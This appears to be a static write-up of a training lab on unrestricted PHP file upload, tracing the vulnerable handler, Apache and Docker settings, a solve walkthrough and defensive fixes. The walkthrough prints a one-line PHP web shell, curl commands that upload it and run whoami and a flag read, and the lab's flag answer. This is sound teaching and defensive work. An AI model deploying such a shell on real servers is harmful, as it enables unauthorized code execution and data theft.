Insecure Upload

Source + configuration review

A public image gallery saves whatever it receives. When an uploaded PHP file lands inside an executable web directory, a feature for sharing pictures becomes a way to run server-side code.

Unrestricted uploadCWE-434PHP 8.2 + ApacheMultipart requestsRemote code executionFilesystem permissions
  1. 1. Public uploadPOST /process_upload.phpThe form advertises images; the file field is named image.
  2. 2. Unchecked storageuploads/ + original basenameNo extension, MIME, or image-content policy is enforced.
  3. 3. Data becomes codeGET /uploads/probe.phpApache's inherited PHP handler interprets the uploaded file.
  4. 4. Service-account access/var/www/flag.txtThe web process can read a file that HTTP cannot serve directly.
Saving a file is not itself RCE. The decisive boundary is a later request that causes attacker-controlled bytes to be interpreted as server-side PHP.

The scenario

BrightSpark Marketing runs a public community gallery. Visitors submit campaign images through upload.php; process_upload.php stores the files, and gallery.php exposes them through direct links and image requests.

The form's “JPG, PNG, GIF” promise is not implemented on the server. A valid multipart upload of a .php file follows the same storage path as an image. Because the upload directory retains PHP handling, a subsequent HTTP request can execute that file with the web worker's permissions.

The intended exercise is to identify the weak upload policy, establish server-side execution, and read a training flag outside the document root. No database, stolen account, reverse connection, or privilege escalation is needed.

What was reviewed—and what was not run

The supplied PHP, HTML, CSS, Apache configuration, Dockerfile, Compose file, and Markdown documentation were read as text. Public OWASP, PHP, Apache, and official PHP-image source were consulted for technical corrections. No container was built or started, no local page was opened, no payload was created or uploaded, and no supplied code was executed. All outputs here are source-derived or author-reported, not results of a live test.

What a complete solve means

  • Identify the upload endpoint, multipart field, storage directory, and returned URL.
  • Explain why browser file selection is not a server-side security boundary.
  • Separate upload acceptance from proof that the saved file is interpreted as PHP.
  • Explain the web worker's access to the flag without confusing it with root privileges.
  • Keep evidence of the intended exploit separate from simply reading the answer in author files.

The central failure

Untrusted content is written into a web-accessible directory where the interpreter still runs.

The central distinction

Not publicly browsable does not mean unreadable to the application process.

Reveal the source-defined flag and location

The Dockerfile creates this literal value during a build. It is also disclosed in the author documentation and the public developer-notes source. This review did not build the image or retrieve a flag from a running service.

Flag · Dockerfile lines 48–50
FLAG{insecure_file_upload_rce}

Intended filesystem location: /var/www/flag.txt. Intended ownership: root:www-data. Mode: 0440.

How the upload works

Checked against the PHP source

The application checks whether PHP received a file successfully. It never checks whether that file is an allowed image. Those are different questions.

1. The form defines the request—not the policy

src/upload.php · lines 38–43
<form action="process_upload.php" method="POST" enctype="multipart/form-data">
    <input type="file" name="image" accept="image/*" required>
    <br>
    <!-- 🥚 Hidden wisdom: "Trust, but verify" - unless it's file uploads, then NEVER trust! -->
    <button type="submit">Upload</button>
</form>

accept="image/*" guides a browser's file picker. required guides normal form submission. Neither binds another HTTP client, and neither proves anything about the uploaded bytes. The server receives the file under $_FILES['image'].

The original filename, the part's declared Content-Type, and the body are separately controlled request data. An image/jpeg declaration does not turn PHP source into a JPEG.

2. There are request and transport checks

src/process_upload.php · functional checks
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_FILES['image']) || $_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        $status  = 'error';
        $message = 'No file was uploaded or an upload error occurred.';
    } else {
        // Choose the destination and move the uploaded file.
    }
} else {
    header('Location: upload.php');
    exit;
}

The phrase “zero validation” in the comments needs qualification: the handler checks the method, field presence, and PHP's upload error status. It does not implement file-type validation, authorization, CSRF protection, or an application-specific size policy.

A normal GET to the handler redirects to upload.php rather than processing a file. Failed uploads render an error message; the script does not explicitly set a corresponding HTTP error status. A later test must inspect the response body, not treat HTTP 200 as upload success.

3. The client chooses the stored basename

src/process_upload.php · lines 31, 42–43, and 48
$uploadDir = __DIR__ . '/uploads/';
$filename = basename($_FILES['image']['name']);
$destination = $uploadDir . $filename;

if (move_uploaded_file($_FILES['image']['tmp_name'], $destination)) {
    // Upload success; no file-type checks precede the move.
}

At the intended deployment path, __DIR__ is /var/www/html. The destination is therefore /var/www/html/uploads/ followed by the supplied basename.

basename() does perform a limited transformation: it removes ordinary forward-slash directory components on this Linux path. It is not an extension allowlist, random-name generator, content decoder, collision check, or HTML encoder. Do not misdescribe this specific handler as a proven arbitrary-path write.

move_uploaded_file() verifies that the source belongs to PHP's HTTP POST upload mechanism and moves it. It does not certify that the file is an image. PHP also documents that an existing destination file will be overwritten; predictable names therefore create collision and integrity risks within the writable upload directory.

4. Storage success discloses the direct URL

On a successful move, the handler prints File <strong>{filename}</strong> uploaded successfully! and links to uploads/{filename}. This removes any need to guess the saved location.

A second bug: inconsistent output encoding

The direct link uses htmlspecialchars($filename), but the filename inside $message is interpolated without escaping, and $message is echoed as HTML. This creates a filename-based HTML injection/XSS risk independent of the PHP-execution chain. HTML escaping and URL-path encoding also solve different problems.

5. The gallery requests every listed entry

src/gallery.php · enumeration and rendering excerpts
$uploadDir = __DIR__ . '/uploads/';
$files = array_diff(scandir($uploadDir), ['.', '..']);

// Inside the foreach loop:
<a href="uploads/<?php echo htmlspecialchars($file); ?>" target="_blank">
    <img src="uploads/<?php echo htmlspecialchars($file); ?>"
         alt="<?php echo htmlspecialchars($file); ?>"
         onerror="this.style.display='none'">
</a>

Only . and .. are filtered out. There is no extension filter or regular-file check. The supplied .gitkeep can consequently make a fresh gallery take the nonempty branch even before a real image is uploaded.

An image's src also initiates an HTTP request. If that URL names an executable PHP upload, server-side execution can happen during gallery loading—before someone clicks its link. A response that fails image decoding is hidden by onerror; the server has already handled the request.

6. Interpretation is the missing security boundary

The file is just bytes while it is received and moved. A later request to a PHP-handled URL causes Apache to invoke the interpreter. The attack does not require eval() inside the upload handler.

Source-derived condition for this lab
Attacker-controlled PHP bytes
    + accepted multipart upload
    + writable web-accessible destination
    + an effective PHP handler for the requested file
    = server-side execution as the web worker

Changing a MIME label or embedding PHP in an image does not, by itself, guarantee execution. The effective server handler matters. A normal lowercase .php name is sufficient for the intended route here; the documentation's long list of bypass tricks is unnecessary.

Server & permissions

Docker + Apache configuration

Three independent choices make the chain work: a writable upload directory, an inherited PHP handler, and a secret readable by the same service account.

The declared stack

The Dockerfile starts from php:8.2-apache, copies the custom virtual host and src/, prepares the upload directory, creates the flag, enables mod_rewrite, and starts apache2-foreground. Compose declares one service named web and the container name fileupload-lab.

The official Apache image variant builds PHP as an Apache module using --with-apxs2 and installs a PHP file handler. The technical guide's statement that these requests are sent to PHP-FPM is not the model declared by this Dockerfile. No separate FPM service appears in Compose.

Intended container paths · source-derived map
/var/www/
├── flag.txt                 root:www-data, mode 0440
└── html/                    Apache DocumentRoot
    ├── index.php
    ├── upload.php
    ├── process_upload.php
    ├── gallery.php
    ├── robots.txt
    ├── dev-notes.html
    ├── secret-dev-notes.html
    ├── style.css
    └── uploads/             www-data:www-data, mode 0755
        └── .gitkeep         supplied repository placeholder

The upload directory remains executable through PHP

apache/000-default.conf · lines 34–39
<Directory /var/www/html/uploads>
    Options -Indexes
    AllowOverride None
    Require all granted
    # NOTE: php_admin_flag engine off  ← intentionally omitted
</Directory>

This block does not create a PHP handler explicitly; it permits access and does not disable the inherited one. Options -Indexes removes automatic directory listings, not direct access to known files. AllowOverride None disables ordinary .htaccess overrides; it does not disable PHP.

The current official PHP Apache-image source maps names ending in lowercase .php to application/x-httpd-php. This explains why probe.php is the grounded example. Alternative extensions, mixed-case names, or a trailing .jpg are configuration-dependent, not guaranteed working variants.

Readable script files do not need a Unix execute bit

PHP reads and interprets a file through its handler. Removing the file's executable mode bit, or using a filesystem noexec option alone, does not prevent that interpretation. The upload directory's 0755 gives its owner write access and gives directory traversal access; it is not a file-type policy.

The flag is outside HTTP's normal path mapping

Dockerfile · lines 48–50 · flag value shown on the Overview page
# The original RUN writes the literal challenge flag, then applies:
chown root:www-data /var/www/flag.txt
chmod 440 /var/www/flag.txt

Mode 0440 means owner-read and group-read, with no write permission and no access for other users. The intended Apache worker is www-data, so the group grants it read access. Root ownership does not make a group-readable file root-only.

A request for /flag.txt normally maps beneath /var/www/html, not to its parent. The virtual host also denies that exact URL path:

apache/000-default.conf · lines 44–46
<LocationMatch "^/flag\.txt$">
    Require all denied
</LocationMatch>

This is a URL authorization rule, not a filesystem restriction on PHP's readfile() or file_get_contents(). Uploaded code can access a readable path directly without requesting the denied URL. No root shell is required.

Host port and network exposure

docker-compose.yml · complete service definition
services:
  web:
    build: .
    container_name: fileupload-lab
    ports:
      - "8080:80"
    restart: unless-stopped

The intended host URL is http://localhost:8080; port 80 is inside the container. The README's examples without :8080 do not match this Compose mapping.

The provided mapping is not loopback-only

8080:80 does not specify a host address, so Docker normally publishes on all host interfaces. For future isolated practice, use a deliberately restricted environment; a loopback-bound mapping such as 127.0.0.1:8080:80 is narrower. The supplied Compose file was not edited, started, or tested.

What configuration alone cannot prove

  • Exact installed versions: the documentation reports Apache 2.4.66 and PHP 8.2.30, but the floating image tag and unpinned packages do not reproduce those patch versions reliably.
  • Effective runtime settings: upload limits, disabled PHP functions, handler overrides, and actual worker identity were not inspected inside a container.
  • Unlimited uploads: the PHP handler has no application size check; PHP's upload_max_filesize, post_max_size, and server limits can still constrain requests.
  • Cleanup by restart: Compose declares no persistent upload volume, but restarting the same container preserves its writable layer. Removing and recreating the container discards that layer in this declared configuration.

Solve walkthrough

Intended owned-lab route

Establish upload acceptance first, PHP interpretation second, and flag access last. An upload message or broken gallery thumbnail is not proof of command execution.

This is an inert study walkthrough adapted from the supplied exploitation guide and checked against source. Every request and payload below is text only. None was run, and this page has no upload form, command runner, live lab link, or automatic network request.

  1. Map the intended application

    Record the homepage, upload form, handler, and gallery from the navigation and source. Note the actual host mapping 8080 → 80, multipart field image, and advertised image formats.

    The source exposes useful clues in robots.txt, page comments, and developer-notes files. Source comments in PHP's HTML portions are sent to a client; PHP comments inside <?php ... ?> are not normally sent with rendered output.

    Record: POST /process_upload.php, file field image, destination /var/www/html/uploads/, and resulting URL /uploads/{basename}.
  2. Establish the normal image baseline

    In any later authorized practice, use a genuinely valid, small image to understand the ordinary response and gallery behavior. This review instead follows the code paths without submitting a file.

    The exploitation guide's eight-byte “tiny PNG” example contains only a PNG signature. It is not a complete valid image. Its acceptance by this handler would establish the absence of content checks, not successful image decoding.

    Distinguish: a file was accepted, its bytes are retrievable, and a browser can decode it as an image. Those are three separate observations.
  3. Understand a minimal PHP execution probe

    A fixed-output PHP file provides a narrow way to distinguish server-side interpretation from raw source delivery. It needs no command input and no shell process.

    probe.php · illustrative reference text, not a created file
    <?php
    header('Content-Type: text/plain');
    echo 'UPLOAD_PHP_EXECUTED';
    ?>

    Under the intended PHP handler, a request for the saved file would return the fixed marker rather than the PHP source. This example was not saved to the lab, uploaded, or requested.

  4. Submit the correct multipart field

    The author's command-line route bypasses the browser's picker hint because it constructs the request directly. The following is the corresponding request for the narrow probe, assuming a future owned lab and a separately created file.

    Intended upload request · not executed
    curl -F 'image=@probe.php' \
      'http://localhost:8080/process_upload.php'

    The expected success body names probe.php and exposes uploads/probe.php. Do not substitute file for image, send a path as ordinary text, or use a GET to the handler and assume it performed an upload.

    Evidence boundary: the success branch proves the move succeeded under that request's conditions. It does not yet prove that the saved filename has an executable handler.
  5. Distinguish PHP output from stored bytes

    Intended interpretation check · not executed
    curl 'http://localhost:8080/uploads/probe.php'
    
    # Source-derived expected body with PHP handling:
    # UPLOAD_PHP_EXECUTED

    Seeing the PHP source instead would indicate delivery as data, not successful interpretation. A 404 points toward routing, filename, or failed storage. A 500 points toward PHP or server errors. A broken thumbnail by itself distinguishes none of these.

  6. Follow the author's command-execution route

    The supplied guide uses a PHP web shell that passes a query parameter to shell_exec(). This demonstrates a broader capability than the fixed-output probe: arbitrary OS commands as the PHP worker. It remains inert text here.

    shell.php · minimal author pattern, never created or executed
    <?php
    echo shell_exec($_GET['cmd']);
    ?>
    Author's intended request sequence · reference only
    curl -F 'image=@shell.php' \
      'http://localhost:8080/process_upload.php'
    
    curl --get --data-urlencode 'cmd=whoami' \
      'http://localhost:8080/uploads/shell.php'
    
    curl --get --data-urlencode 'cmd=cat /var/www/flag.txt' \
      'http://localhost:8080/uploads/shell.php'

    The guide reports www-data for the identity check and the source-defined flag for the final read. Using --data-urlencode keeps spaces and other query characters intact. These are not recorded outputs from this review.

    A request without cmd can produce an undefined-key warning or an error on modern PHP; do not use an empty request as a reliable success test. The gallery may also request the shell without that parameter through its image tag.

  7. Recognize that OS commands are not required

    Once uploaded PHP runs, it can read a permitted file itself. TODO.md and CONTRIBUTORS.md explicitly describe this simpler route, despite other documentation saying the flag is only accessible through system-command execution.

    Fixed-path file read · inert owned-lab example
    <?php
    header('Content-Type: text/plain');
    readfile('/var/www/flag.txt');
    ?>

    This is still remote server-side PHP execution, but it does not spawn an OS shell. Disabling shell_exec() alone does not repair the upload vulnerability or prevent every file read. Access still depends on the process's permissions and any effective PHP path restrictions.

  8. Separate answer disclosure from exploit proof

    The Dockerfile and public dev-notes.html source already reveal the exact answer. Reading it there can identify the flag without exploiting anything. That is a separate information-disclosure shortcut, not evidence that upload-to-RCE worked.

    For a future reproduction, retain the upload result, actual saved URL, interpreted output, worker context, and file-read result. A root-owned flag read is not a claim of root compromise. Reverse shells, persistence, evasion, and privilege escalation add nothing necessary to this exercise.

Reveal the expected flag result
Literal answer written by Dockerfile · not runtime-verified
FLAG{insecure_file_upload_rce}

The intended read path is /var/www/flag.txt, not /var/www/html/flag.txt and not the denied URL /flag.txt.

If a later reproduction disagrees

SymptomFirst thing to inspect
Wrong service or connection failureHost port 8080, future container state, and whether a proxy or another application owns the port.
Handler redirects to the formRequest method: non-POST requests enter the redirect branch.
“No file was uploaded”Multipart field image, upload error, PHP request-size limits, and correctly formed multipart data.
“Failed to save the uploaded file”Upload directory existence, worker write permission, free storage, and destination naming.
Raw PHP source or static downloadEffective PHP handler and any upload-directory execution policy. Acceptance alone is not RCE.
PHP probe works; command shell failsPHP syntax, missing cmd, disabled functions, command availability, and server errors.
PHP runs; flag is unreadableCorrect path, root:www-data ownership, group access, 0440, and effective PHP restrictions.
Image disappears in the galleryThe onerror rule hides failed image decoding; inspect the underlying response in a future authorized test.
Files remain after a restartRestarting the existing container preserves its writable layer. Recreating is different.

Future practice caveats

Burp's default listener and this lab's host mapping both use port 8080; they can conflict on the same machine. Use a deliberately separate proxy port in any future practice. Cleanup should remove only the exact files created for that test, or recreate the disposable container. No cleanup or deployment command was performed here.

Things to learn

Defensive lessons & corrections

An upload feature needs a policy for what enters, where it lives, how it is served, and what the application is allowed to read. One check cannot substitute for all four.

Validate on the server, before publication

Choose a narrow business allowlist, enforce request and file-size limits, inspect actual content using maintained libraries, and reject malformed or unsupported files. Do not trust the filename or client-supplied Content-Type as proof of type.

For images, decode and re-encode to a chosen output format with explicit resource and dimension limits. Use an up-to-date, constrained decoder; signature sniffing and getimagesize() alone are not proof that a file is harmless. Rewriting is useful defense in depth, not a universal removal guarantee.

Do not publish an interpreter entry point

Prefer storage outside the application web root, or a separate static/object-storage service without server-side interpreters. Serve approved files through a mapping from a server-generated identifier to known metadata—not an arbitrary user-supplied path.

If local public storage is unavoidable, explicitly prevent executable handlers and deny unexpected file types. Keep uploaded configuration overrides disabled. AllowOverride None is one useful existing control in this lab; it just does not solve the inherited PHP-handler problem.

Illustrative Apache defense · not applied or a complete upload policy
<Directory /var/www/html/uploads>
    Options -Indexes -ExecCGI
    AllowOverride None
    AllowOverrideList None
    php_admin_flag engine off
    <FilesMatch "(?i:\.(php[0-9]*|phtml|phar|phps))$">
        Require all denied
    </FilesMatch>
</Directory>

The PHP engine directive applies to Apache's PHP-module setup; PHP-FPM needs enforcement in the appropriate routing/handler configuration instead. A deny pattern is only a secondary control and can miss other executable handlers. Do not merely switch PHP off and serve source files publicly. Validate the effective configuration and use non-executable storage as the stronger boundary.

Generate names; encode display text and URLs separately

Give approved uploads a server-generated random identifier and an extension derived from the validated output format. Keep original names only as metadata when needed, apply length limits, and avoid overwriting another user's file.

Encode a name when inserting it into HTML, including the upload success message. Encode individual URL path segments separately. A safe HTML attribute is not automatically a correctly encoded URL, and basename() does neither job.

Limit the application account's reach

The worker must write uploads, but it should not read unrelated secrets or modify executable application code. Minimize filesystem permissions, separate upload handling where practical, and limit the impact of a compromised parser or web process.

In this lab, root:www-data with mode 0440 deliberately permits the web group to read the flag. Moving a real secret one directory upward would not protect it from application code that still has read access.

Protect other gallery users too

Unrestricted upload also allows active browser content, deceptive files, overwrite abuse, and storage exhaustion. Serve files with an intentional media type, suitable Content-Disposition, and X-Content-Type-Options: nosniff. Consider a separate untrusted-content origin.

Add authentication and authorization appropriate to the product, CSRF protection where cookie-authenticated requests are involved, quotas, rate limits, and auditable upload decisions. CSP can reduce some client-side impact; it does not stop PHP execution or prevent the server from reading its own accessible files.

Controls that sound stronger than they are

MechanismWhat it actually doesWhat it does not establish
accept="image/*"Helps normal browser users select images.Server-side type validation or an enforced upload allowlist.
UPLOAD_ERR_OKReports successful upload transport to PHP.Safe content or an authorized uploader.
basename()Removes ordinary directory components from the chosen name.Safe extension, random storage identity, no collisions, or escaped HTML.
move_uploaded_file()Checks upload provenance and moves the file.Image validation, malware scanning, or no overwrite.
Options -IndexesSuppresses automatic directory listings.Blocked access to known files or disabled PHP handling.
AllowOverride NoneDisables ordinary per-directory .htaccess overrides.Disabling handlers already inherited from server configuration.
Outside DocumentRootRemoves ordinary direct HTTP mapping to that location.Unreadability to the service account.
No executable file bitRestricts direct OS executable-file use.Prevention of interpreter-based script execution.
Disabled shell_exec()Removes one PHP-to-OS command mechanism.Repair of uploaded PHP execution or prevention of PHP file reads.
CSP or a broken thumbnailBrowser-side policy or rendering behavior.A server-side RCE defense or reliable exploitation evidence.

A better processing sequence

Defensive design · conceptual, not an implemented replacement
Authenticate / authorize when the product requires it
    → enforce CSRF, request limits and quotas
    → receive into private temporary storage
    → validate expected type and decode with resource limits
    → re-encode approved output; derive type and extension
    → assign a server-generated, collision-resistant identifier
    → save outside executable application storage
    → publish through an authorized, non-executable delivery path
    → encode metadata, set safe headers, log the decision

Do not turn generic bypass folklore into lab facts

  • Double extensions and mixed case: execution depends on the effective filename-to-handler mapping. shell.php.jpg is not automatically executable under a terminal \.php$ rule.
  • Legacy null-byte tricks: old PHP behavior is not a demonstrated PHP 8.2 path here.
  • Uploaded archives: no ZIP extraction code is present, so a PHP member does not automatically become a reachable script.
  • Alternative PHP tags: the guide's quoted <?='shell_exec($_GET["cmd"])'?> prints a string; it does not call the function. Old <script language="php"> tags are not a PHP 8.2 execution route.
  • Obfuscation and reverse shells: neither is required to explain or complete the intended upload flaw. The narrow chain is enough.

Self-check

  • Can I identify the form's exact endpoint and multipart field?
  • Can I distinguish transport validation from file-type validation?
  • Can I explain why basename() is not “no transformation” and also not full validation?
  • Can I explain when an uploaded file changes from stored data to executable PHP?
  • Can I explain why a gallery image request can execute PHP before a click?
  • Can I distinguish root ownership from root-only read access?
  • Can I explain why /flag.txt denial does not block readfile('/var/www/flag.txt')?
  • Can I distinguish source-disclosed answers from independent runtime exploit proof?
  • Can I explain why script engine shutdown, type validation, safe storage, and least privilege are separate layers?

Useful follow-up topics

Multipart parsing; upload error codes; Apache handler inheritance; mod_php versus PHP-FPM; server-side content detection; safe image processing; context-specific output encoding; Unix discretionary access controls; and isolated container deployment.

Files & source notes

Provenance & read-only excerpts

The local source is the authority for this reference. The author guides explain the intended solve, but their expected outputs, generic bypass examples, and version claims are not live-test evidence.

Reviewed file inventory

Supplied fileRoleReview
Insecure-Upload/src/process_upload.php111-line upload handler and result page.Read in full; method/error checks, basename, file move, message, and returned URL traced statically.
Insecure-Upload/src/upload.php67-line image form and HTML-source hints.Read in full; POST endpoint, multipart encoding, and image field checked.
Insecure-Upload/src/gallery.php74-line directory enumeration and gallery.Read in full; dot-entry filtering, direct links, image requests, and error hiding checked.
Insecure-Upload/src/index.php
Insecure-Upload/src/style.css
Homepage, navigation, presentation, and source hints.Read in full as text. Not rendered or used as this reference's styling.
Insecure-Upload/DockerfileBase image, source/config copies, upload ownership, flag creation, and startup.Read in full; not built. No installed image or runtime version was inspected.
Insecure-Upload/docker-compose.ymlSingle service, port 8080:80, and restart policy.Read in full; not started, changed, or validated through Docker execution.
Insecure-Upload/apache/000-default.confDocument root, upload directory, URL deny rule, and logging.Read in full; configuration not loaded or tested.
Insecure-Upload/src/robots.txt
Insecure-Upload/src/dev-notes.html
Insecure-Upload/src/secret-dev-notes.html
Public hint files; developer-notes source exposes the literal answer.Read in full as text. No browser visit or HTTP request to the local lab.
Insecure-Upload/src/uploads/.gitkeepUpload-directory placeholder.Presence identified from the file inventory. No uploaded payload is part of this review.
README.md, LAB_TECHNICAL.md, EXPLOITATION_GUIDE.mdScenario, intended architecture, payload examples, expected responses, and mitigations.Read in full from Insecure-Upload/; technical claims compared with source and primary references.
EASTER_EGGS.md, CHANGELOG.md, TODO.md, CONTRIBUTORS.mdHint inventory, fictional team/history, and supplementary file-read route.Read in full from Insecure-Upload/. Fictional testing notes are not independent verification.
Arshlaan_s Write-ups/insecure-file-upload-technical-documentation.pdfCompanion PDF in the write-up collection.Located, but direct PDF reading is unsupported in this session. Its contents and page count are not claimed as reviewed.
madx.html
its-a-fly.html
Requested reference-page visual and interaction patterns.Read as HTML source; no browser launch. Forest sidebar, six-page organization, code blocks, dark mode, and printing carried over.

Documentation corrections to keep

  • Host URL: use port 8080 for the supplied Compose mapping; port 80 is the container listener.
  • PHP execution model: the declared Apache variant uses PHP as an Apache module, not a separate PHP-FPM service.
  • “No validation whatsoever”: method, field presence, and upload errors are checked. File-type/content validation is missing.
  • “No filename sanitisation”: the original basename is preserved, but basename() removes ordinary directory components. Do not claim an unrestricted full-path write.
  • “Only accessible through command execution”: uploaded PHP can read the file without an OS command. The exact answer is also disclosed in developer-notes source.
  • Directory listing disabled: -Indexes does not deny individual files or suppress application-level gallery enumeration.
  • Initially empty gallery: the shipped .gitkeep is not excluded by the PHP enumeration.
  • Example PNG: an eight-byte signature is not a complete image.
  • Alternate extensions/tags: generic examples are not verified variants for this PHP 8.2 handler configuration; some quoted tag examples do not execute a command at all.
  • Size and patch versions: missing application limits do not remove PHP/server limits. Floating image tags do not pin the guide's reported patch versions.
  • CVSS 9.8: this is the technical guide's declared critical rating, not an independently assessed score or a supplied, validated vector.
  • Restart cleanup: restarting a container is not removal/recreation; uploads in its writable layer remain.
  • Example “secure” snippets: MIME declarations, getimagesize(), CSP, and a basename-based download script are not a complete safe-upload/delivery design.

Source landmarks

  • Upload form, lines 38–43: endpoint, method, encoding, and field.
  • Handler, lines 31–60: directory, method branch, upload errors, destination, move, and redirect.
  • Handler, lines 50 and 82–94: unescaped filename in the message, echoed HTML, and separately escaped direct link.
  • Gallery, lines 29–50: enumeration and automatic image requests.
  • Dockerfile, lines 16, 31–50: base image, copied files, upload mode, and literal flag.
  • Apache, lines 18–46: virtual host, filesystem directory policy, and URL deny rule.
  • Compose, lines 13–19: actual service definition and host mapping.
  • Developer notes, lines 31–34: literal answer in a publicly served HTML comment.
Read the upload handler's complete PHP logic · original excerpt

This is the complete opening PHP block's executable logic with explanatory comments omitted. The supplied result-page HTML is not duplicated. It is escaped reference text, not PHP executed by this document.

src/process_upload.php · lines 31–61, comments omitted
<?php
$uploadDir = __DIR__ . '/uploads/';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_FILES['image']) || $_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        $status  = 'error';
        $message = 'No file was uploaded or an upload error occurred.';
    } else {
        $filename    = basename($_FILES['image']['name']);
        $destination = $uploadDir . $filename;

        if (move_uploaded_file($_FILES['image']['tmp_name'], $destination)) {
            $status  = 'success';
            $message = "File <strong>{$filename}</strong> uploaded successfully!";
        } else {
            $status  = 'error';
            $message = 'Failed to save the uploaded file. Please try again.';
        }
    }
} else {
    header('Location: upload.php');
    exit;
}
?>

The original result page outputs $message directly, then includes a direct link on success:

src/process_upload.php · result rendering excerpts
<div class="msg <?php echo $status; ?>">
    <?php echo $message; ?>
</div>

<!-- Within the success branch: -->
Direct link: <a href="uploads/<?php echo htmlspecialchars($filename); ?>">uploads/<?php echo htmlspecialchars($filename); ?></a>
Read the complete Apache virtual host · comments omitted

All active directives from the supplied virtual host are preserved below. The missing PHP-engine restriction remains missing; this is not a hardened replacement.

apache/000-default.conf · active directives
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    <Directory /var/www/html>
        Options -Indexes +FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>

    <Directory /var/www/html/uploads>
        Options -Indexes
        AllowOverride None
        Require all granted
    </Directory>

    <LocationMatch "^/flag\.txt$">
        Require all denied
    </LocationMatch>

    ErrorLog  ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Read the Docker build definition · comments omitted, includes flag spoiler

All active instructions from the supplied Dockerfile are shown as inert text. No build, package installation, file removal, module enablement, or startup instruction was performed.

Insecure-Upload/Dockerfile · active instructions
FROM php:8.2-apache

LABEL maintainer="PentestLab"
LABEL description="CompTIA Pentest+ Lab – Insecure File Upload (RCE)"

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        curl \
        net-tools \
        procps \
        iputils-ping && \
    rm -rf /var/lib/apt/lists/*

COPY apache/000-default.conf /etc/apache2/sites-available/000-default.conf
COPY src/ /var/www/html/

RUN mkdir -p /var/www/html/uploads && \
    chown www-data:www-data /var/www/html/uploads && \
    chmod 755 /var/www/html/uploads

RUN echo "FLAG{insecure_file_upload_rce}" > /var/www/flag.txt && \
    chown root:www-data /var/www/flag.txt && \
    chmod 440 /var/www/flag.txt

RUN a2enmod rewrite

EXPOSE 80
CMD ["apache2-foreground"]

Primary references consulted

These public references were read on 17 November 2026. Links are optional external reading; this document does not fetch them or depend on them to work.

Review boundaries

  • Checked statically: supplied file presence, handler data flow, result rendering, gallery enumeration, Apache directives, build-time permissions, flag literal, and Compose mapping.
  • Author-reported only: HTTP status examples, www-data command output, flag retrieval, version claims, and fictional developer testing logs.
  • Not performed: executing supplied PHP or scripts, building/starting Docker, submitting a file, running curl against a lab, browser-rendering this page, PHP linting, or runtime UI tests.
  • Not embedded: the PDF, a container image, live application, uploaded shell, or runnable exploit file. Payload examples are escaped text inside code blocks.
  • Left unchanged: the supplied lab source, configuration, documentation, other reference HTML files, and collection index.
One standalone HTML file with inline styles and navigation-only JavaScript. No external assets, dependencies, automatic HTTP requests, file-upload controls, or lab-execution hooks. Copy buttons copy text; page switching, theme changes, and printing do not run lab code.